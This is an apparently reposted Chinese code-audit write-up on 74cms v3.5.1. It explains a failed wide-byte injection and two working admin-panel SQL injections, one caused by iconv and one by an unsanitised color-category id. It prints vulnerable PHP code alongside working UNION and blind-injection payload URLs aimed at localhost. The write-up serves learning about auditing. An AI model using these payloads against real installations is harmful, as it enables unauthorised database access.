0x01 前言

  最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的《代码审计 企业级Web代码安全架构》让我这个初学者能够入门。思路特别棒。我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了。H''Homaebic师傅教会了我很多思路。抱拳了老铁。

0x02 假漏洞

   在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞。出现"问题"的地方在admin/admin_article.php 20行处,

 1 if($act == 'newslist')
 2 {
 3     check_permissions($_SESSION['admin_purview'],"article_show");
 4     require_once(QISHI_ROOT_PATH.'include/page.class.php');
 5     $key=isset($_GET['key'])?trim($_GET['key']):"";
 6     $key_type=isset($_GET['key_type'])?intval($_GET['key_type']):"";
 7     $oederbysql=" order BY a.article_order DESC,a.id DESC";
 8     if ($key && $key_type>0)
 9     {
10
11         if     ($key_type===1)$wheresql=" WHERE a.title like '%{$key}%'";
12         elseif ($key_type===2)$wheresql=" WHERE a.id =".intval($key);
13     }
14     !empty($_GET['parentid'])? $wheresqlarr['a.parentid']=intval($_GET['parentid']):'';
15     !empty($_GET['type_id'])? $wheresqlarr['a.type_id']=intval($_GET['type_id']):'';
16     !empty($_GET['focos'])?$wheresqlarr['a.focos']=intval($_GET['focos']):'';
17     if (!empty($wheresqlarr)) $wheresql=wheresql($wheresqlarr);
18     if (!empty($_GET['settr']))
19     {
20         $settr=strtotime("-".intval($_GET['settr'])." day");
21         $wheresql=empty($wheresql)?" WHERE a.addtime> ".$settr:$wheresql." AND a.addtime> ".$settr;
22         $oederbysql=" order BY a.addtime DESC";
23     }
24
25     $joinsql=" LEFT JOIN ".table('article_category')." AS c ON a.type_id=c.id  LEFT JOIN ".table('article_property')." AS p ON a.focos=p.id ";
26     $total_sql="SELECT COUNT(*) AS num FROM ".table('article')." AS a ".$joinsql.$wheresql;
27     echo $total_sql;
28     $page = new page(array('total'=>$db->get_total($total_sql), 'perpage'=>$perpage));

当key_type=1的时候,没有对key进行intval处理。这个CMS是在入口对参数进行过滤,用了addslashes(),我想的是存在宽字节注入漏洞,利用

http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_article.php?act=newslist&key_type=1&key=%df' union select if(1=1,sleep(5),1)%23

结果发现利用不成功,最后用mysql监控软件发现

character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了 参考p师傅的文章 浅析白盒审计中的字符编码及SQL注入

发现了一个假漏洞,非常尴尬,但是对宽字节注入有了深入的了解。

0x03 真漏洞1 后台宽字节注入漏洞(iconv引发)

  在看p牛的文章时,iconv()函数在转换时的编码问题会导致注入,于是我用seay源码审计软件搜索iconv函数,发现了这么一个地方  出现问题的代码在admin/admin_ajax.php 79行处

 1 elseif($act == 'get_jobs')
 2 {
 3     $type=trim($_GET['type']);
 4     $key=trim($_GET['key']);
 5     if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
 6     {
 7     $key=iconv("utf-8",QISHI_DBCHARSET,$key);
 8     }
 9     if ($type=="get_id")
10     {
11         $id=intval($key);
12         $sql = "select * from ".table('jobs')." where id='{$id}'  LIMIT 1";
13     }
14     elseif ($type=="get_jobname")
15     {
16         $sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%'  LIMIT 30";
17 //        echo $sql;
18     }
19     elseif ($type=="get_comname")
20     {
21         $sql = "select * from ".table('jobs')." where companyname like '%{$key}%'  LIMIT 30";
22     }
23     elseif ($type=="get_uid")
24     {
25         $uid=intval($key);
26         $sql = "select * from ".table('jobs')." where uid='{$uid}'  LIMIT 30";
27 //        echo $sql;
28     }
29     else
30     {
31     exit();
32     }
33         $result = $db->query($sql);

  iconv函数将$_GET方式接受的key由utf-8编码转为GBK编码  p牛的文章讲到 “錦“这个字,它的utf-8编码是0xe98ca6,它的gbk编码是0xe55c\的ascii码正是5c。那么,当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的'被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。

test:  %5c%5c%27 =>  \\' 明显第二个反斜杠被前一个反斜杠转义了 后面的单引号和前面的单引号成功闭合 

Payload:

http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=錦' union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

注入成功。

0x04  真漏洞2 后台颜色分类处盲注

  问题代码在 admin/include/admin_category_fun.php  48行处 get_color_one()函数

function get_color_one($id)
{global $db;$sql = "select * from ".table('color')." WHERE id=".$id."";return $db->getone($sql);
}

  由此可见 $id 参数没有经过任何处理就直接插入到sql语句中,导致注入漏洞

利用: http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_category.php?act=edit_color&id=1 and  114=ascii(substring(user(),1,1))

如果语句正常则出现图片

语句错误则出现图片

所以利用成功 导致两个注入点

  实验发现第一个可以利用。。。

转载于:https://www.cnblogs.com/Mrsm1th/p/6957209.html

代码审计 = 74cms_v3.5.1.20141128 一系列漏洞相关推荐

  1. Web渗透实验:基于Weblogic的一系列漏洞

    1. 攻击机windows10 192.168.2.104 2. 靶机ip: 192.168.2.109(linux Ubantu) 192.168.2.111(windows2008R264位) 第 ...

  2. 代码审计之CVE-2018-7600-Drupal远程代码执行漏洞-Render API

    今天学习一下Drupal的另一个漏洞,由于渲染数组不当造成的漏洞 poc: url:http://localhost/drupal-8.5.0/user/register?element_parent ...

  3. php 读取cookieid,代码审计:TinyShop网店系统漏洞审计过程分享

    * 本文属CE安全网投稿文章  未经允许 不得转载 ! 作者ID:daomeng * 前言 反射XSS 产生原因 疑似cookie产生的SQL注入 上传头像存在DOS风险 产生原因 后台账号充值存在c ...

  4. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

  5. 代码审计之scms——search.php注入漏洞

    电脑没网络,只能在本地审计之前审计过的cms,这次审计scms 还是法师审计工具自动审计一波,发现可能存在漏洞的文件,发现fearch.php可能存在sql注入. <?php require ' ...

  6. 代码审计学习phpcms头像上传漏洞

    本篇文章基于p神的文章进行一个学习复现,并了解了当年一些安全圈的事件.原文地址如下 回忆phpcms头像上传漏洞以及后续影响 0x01 最初的phpcms头像上传getshell漏洞 不知道大家还记得 ...

  7. 【代码审计】CmsEasy_v5.7 代码执行漏洞分析

      0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...

  8. 海豚php框架漏洞,代码审计 - dolphin.pro cms SQL注入漏洞,Bypass过滤规则

    Dolphin是一个网络软件平台,你可以下载并使用它来建立你自己的利基社交网络.社区网站.在线俱乐部或基于兴趣的社交网站. 代码分析: 1./flash/modules/chat/inc/action ...

  9. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

最新文章

  1. Web.config详解
  2. java与html关联_java-如何在HTML文件中搜索某些标签?
  3. vue2.0的Element UI的表格table列时间戳格式化
  4. Docker 容器的数据管理
  5. vgremore 删除卷组
  6. 教你详细制作flash游戏青蛙(附源代码)
  7. 基于P2P终结者的ARP欺骗攻击实验
  8. 怎么看python帮助手册常见问题商家认证_问题:使用help命令可以查看python模块的帮助文档。...
  9. 主页弹出2345.html,ie首页被篡改 IE主页被2345篡改怎么办
  10. 速学TypeScript-精简划重点手册-上册
  11. css3 中的calc用法
  12. 量子信息-学习记录13
  13. iOS 教你如何修改微信运动步数
  14. 汽车行业使用LDO直接连接电池的应用
  15. 成功解决tensorflow.python.framework.errors_impl.InvalidArgumentError报错问题
  16. 员工晒出60后、70后、80后、90后辞职原因,80后回复:我不服
  17. 地下迷宫探索 30分 dfs
  18. 开启codelite的c++11
  19. QML QQuickView透明背景
  20. mybatis第三话 - mybatis的高端用法你会吗?

热门文章

  1. 如何在优酷官网上传视频
  2. 电脑感觉,电脑进入系统突然之间感觉像慢动作
  3. 基于HTML5实现的消灭星星小游戏
  4. 2023年杀手级的 5 款免费FTP客户端,真的好用到爆,推荐给需要的工程师!
  5. 序列信号发生器的三种实现方式
  6. QN模块java下载_QN卡片版app下载-QN卡片版下载v35 安卓版-西西软件下载
  7. 少的有点可怜,955 不加班的公司名单...
  8. sd卡数据怎么恢复?
  9. c语言lol战绩查询系统,LOL:战绩阵容一键查询 云顶之弈战绩查询功能已上线!...
  10. 用xp系统的rundll32进行锁屏!!!!!劲爆!!!!!